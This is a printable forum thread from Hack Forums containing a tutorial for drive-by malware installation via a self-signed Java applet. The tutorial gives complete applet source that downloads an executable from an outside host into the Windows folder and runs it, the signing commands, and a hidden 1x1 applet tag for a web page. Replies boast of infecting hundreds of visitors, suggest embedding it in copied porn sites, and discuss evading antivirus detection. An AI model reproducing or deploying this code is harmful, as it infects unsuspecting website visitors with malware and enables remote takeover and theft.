Hack Forums
Remote Download Execution with Java [TuT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Remote Download Execution with Java [TuT] (/showthread.php?tid=172874)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Remote Download Execution with Java [TuT] - bytesize - Oct 28, 2009

This tutorial will show you how to use java applets within your website which automatically download and execute your malware onto the visitor’s computer. Some people may of heard about it, some people may know how to do it, but none the less I’m still writing a tutorial for those who don’t. Please note the following:

1) I did not write the java code being used (I just took out a lot of unnecessary crap and added some lines)
2) It's not the same code used on milw0rm.
3) I did not discover this.

Requirements:

1) Hosting (better if it's your own, but can use any which allows the upload of exe's)
2) Java SDK (Most will probably have this if not you can download it here > http://java.sun.com/javase/6/download.jsp)
3) Your malware (or anything else you want it to auto download and execute)

Let's get started!

Java applets are allowed to access your system given that they are signed with certificates, which cost about $700! But don't worry you can actually sign java applets yourself, but because you've self-signed these applets before the applets load you will see something like this:

[img]http://i41.[censored].com/6e3onn.png[/img]

We see these all the time, and for the most part people will just click run anyway, as soon as the visitor clicks run the malware will download and execute on their system. Now let’s go through the fields you can see on the cert.


Name:
The name is taken from the class name of the java file you used for your applets. So whatever name you want to appear on the unsigned cert notice just name the java class.

Publisher:
You can enter this when you’re signing your applets, the publisher will be what you enter for ‘Name’ (You’ll understand what I mean later!)

From:
This will just be the website where the java applets are stored!

Please note: 120*am.co.uk is a website I setup with poison ivy, don’t go there.

Now we understand the cert, let’s take a look at the java code. I won’t explain all of it; I’ll just explain the parts you’ll need to edit for your own use.

Ok if you look at the java code provided (at end of tutorial in code tags!) These are the parts you need to change.


Code
String fileoot = System.getenv("WINDIR");
            String fname = "\\sch.exe";
String efool = fileoot.concat(fname);


The first line simply gets the environment variable WINDIR, which will return C:\Windows

The second line will be what you want your malware to be called when stored on their computer. In this case it’s sch.exe
The third line puts it all together and stores it in the variable efool. So in this example it’ll look like this:

C:\Windows\sch.exe

This is obviously what our malware will be when stored on the user’s computer!

The next part to change is:

Code
URL url = new URL("http://www.1201am.co.uk/sch.exe");


Just change the 120*am.co.uk/sch.exe to the path of where your malware is stored on your website!

Also you can change this part:

Code
public class Client extends Applet

As we mentioned earlier the name field on the cert pop-up will be the class name, so where it says ‘Client’ change this to what you want.

You’ll also need to change the classes constructor to the same name you changed ‘Client’ too above. Which looks like this:

Code
public Client()
    {
    }


So just change where it says Client to whatever you renamed the class.

That’s all we really need to change.
Once you’ve made those amendments save the file as:

Code
Client.java


If you renamed the class like mentioned earlier you’ll need to name the java file the same.

Now the next things we have to do are: Compile the java code to a class, Compile it to a .jar, sign the .jar with our self-made cert, Put them in an html document as applets, and upload to site!


Now to make things easier, Move the Client.java file to the java sdk bin folder, which by default will be:


Code
C:\Program Files\jdk1.6.0\bin


This is where all the tools we need are

Now open up command prompt, and change the path to C:\Program Files\jdk1.6.0\bin

Simply by typing in:

Code
cd C:\Program Files\jdk1.6.0\bin


So it’ll look something like this:

[img]http://i40.[censored].com/2eyieee.png[/img]

Paint disfigured the screenshot, sorry about that, but it’s clear enough to see ?

Now the next thing we need to do is make the .java file to a class file.

Just type in:

Code
javac Client.java


(There’s a space between javac and Client.java)
Now a class will appear in the same directory as the java file (yey ?)
Now we need to compile that class file into a .jar file!

Type in:

Code
jar cf Client.jar Client.class


Client.jar will be the name of your newly compiled .jar file, and Client.class is the class we made earlier.

Now in your directory, You should have, Client.java, Client.class and Client.jar.

All we have left to do now is, create our cert and assign it to our .jar file then put them as applets and upload to website ?

Ok now in cmd we’re going to be using keytool to create our keyfile and cert.

To create out keyfile simply do this:

Code
keytool -genkey –keystore MyFileName –alias me


Now where it says MyFileName, Change this to what u like.
Remember the password you enter, You will need it later!
It’ll ask you other stuff like name, organization etc…
Just make it up. Then it’ll ask if it’s correct, just type yes and press enter. Then it’ll ask you to enter a pass for <me>, just press enter again.

Now we need to use the keytool again to self cert.

Here’s how:

Code
keytool -selfcert -keystore MyFileName -alias me


again, where it says MyFileName, type the same name you used earlier!
Then it’ll ask you to enter a password, This is the password you used earlier. That’s why I asked you to remember it ?
Once you entered your pass, Just press enter.

Ok now we have to sign the .jar with the cert we’ve created!

To do this simply do this:

Code
jarsigner –keystore myFileName Client.jar me


Now where it says myFileName use the file name you used earlier for the keyfile, and where it says Client.jar just put in what your jar file is called!
It’ll ask for the password again, Enter it and it should say:

Code
Warning:
The signer certificates will expire after six months.


Congratulations, You’ve compiled and signed your java code. Now we need to put them in the form of java applets and upload the website.

Here’s how:

Code
<applet width='1' height='1' code='Client.class' archive='Client.jar'> </applet>


Where it says Client.class just put your class you made earlier, and where it says Client.jar that’s the jar file we made and signed earlier.

Save that as html file. Upload the html file, class file, .jar file and your malware to your host and my friend, you are done ?

Hopefully you’ve learnt something new and could come in handy at some stage!

Code
import java.applet.Applet;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.awt.*;
import java.net.*;


public class Client extends Applet
{

    public Client()
    {
    }

    public void start()
    {
        try
        {

        String fileoot = System.getenv("WINDIR");
            String fname = "\\sch.exe";

            String efool = fileoot.concat(fname);


            BufferedOutputStream bufferedoutputstream = null;
            Object obj = null;
            InputStream inputstream = null;


            URL url = new URL("http://www.1201am.co.uk/sch.exe");
            bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool));
            URLConnection urlconnection = url.openConnection();
            inputstream = urlconnection.getInputStream();
            byte abyte0[] = new byte[1024];
            int i;
            for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                bufferedoutputstream.write(abyte0, 0, i);

            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();


            }
            catch(IOException ioexception) {
            }

            Runtime runtime = Runtime.getRuntime();
            try
            {
                Process process = runtime.exec(efool);
                process.waitFor();
                BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));


            }
            catch(Exception exception1) {
            }

            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();
            }
            catch(IOException ioexception1) {


          }
        }
        catch(Exception e) { }
    }



    public void main(String args[])
    {

start();

}



    public void stop()
    {
    }
}


* - chaoskillz - Oct 28, 2009

this owns for getting victims if your too lazy to make a site just rip a porn site and add your applet you will get a lot of victims depending on were you spread it 🤝

* - tux1 - Oct 28, 2009

great tutorial thanks, how many downloads have you got so far just wondering

* - chaoskillz - Oct 28, 2009

564 for a few hours spreading last night.

* - RedTube ツ - Oct 28, 2009

Where's your credit to unkn0wn?

* - Prone - Oct 28, 2009

nice tut :P

* - Valour - Nov 2, 2009

good work !
<oopsmsg2short>

* - eXeSoul™ - Nov 2, 2009

Great Tutorial man!!

* - Shahzaib Arshad - Nov 2, 2009

Great Tut man,i had been looking for tutorial on drive by downloads.Gonna give it a try

Great Tut man,i had been looking for tutorial on drive by downloads.Gonna give it a try

* - nohap - Nov 2, 2009

Tranks !
Great tut !

* - TheOneDeadman - Nov 4, 2009

Save that as html file. Upload the html file, class file, .jar file and your malware to your host and my friend, you are done ?



I dont understand what file u mean.... what file i have to save as html?

I know im stupid xD
Please help me im too stupid for something like this xD

* - SB91 - Nov 4, 2009

This is awesome! Not detected at all. I never knew it was this easy. I'm modifying the download method now to make sure it stays FUD for me for a long time.

* - ariffin246 - Nov 4, 2009

i had been looking for tutorial on drive by downloads, thx 4 the tutorial mate..

* - Instruct - Nov 5, 2009

I cant figure out how to do this at all if anybody could help me please contact me on aim vikingshockey911 or msn [email protected]

* - ★ SpideR ★ - Nov 5, 2009

I got mine working :)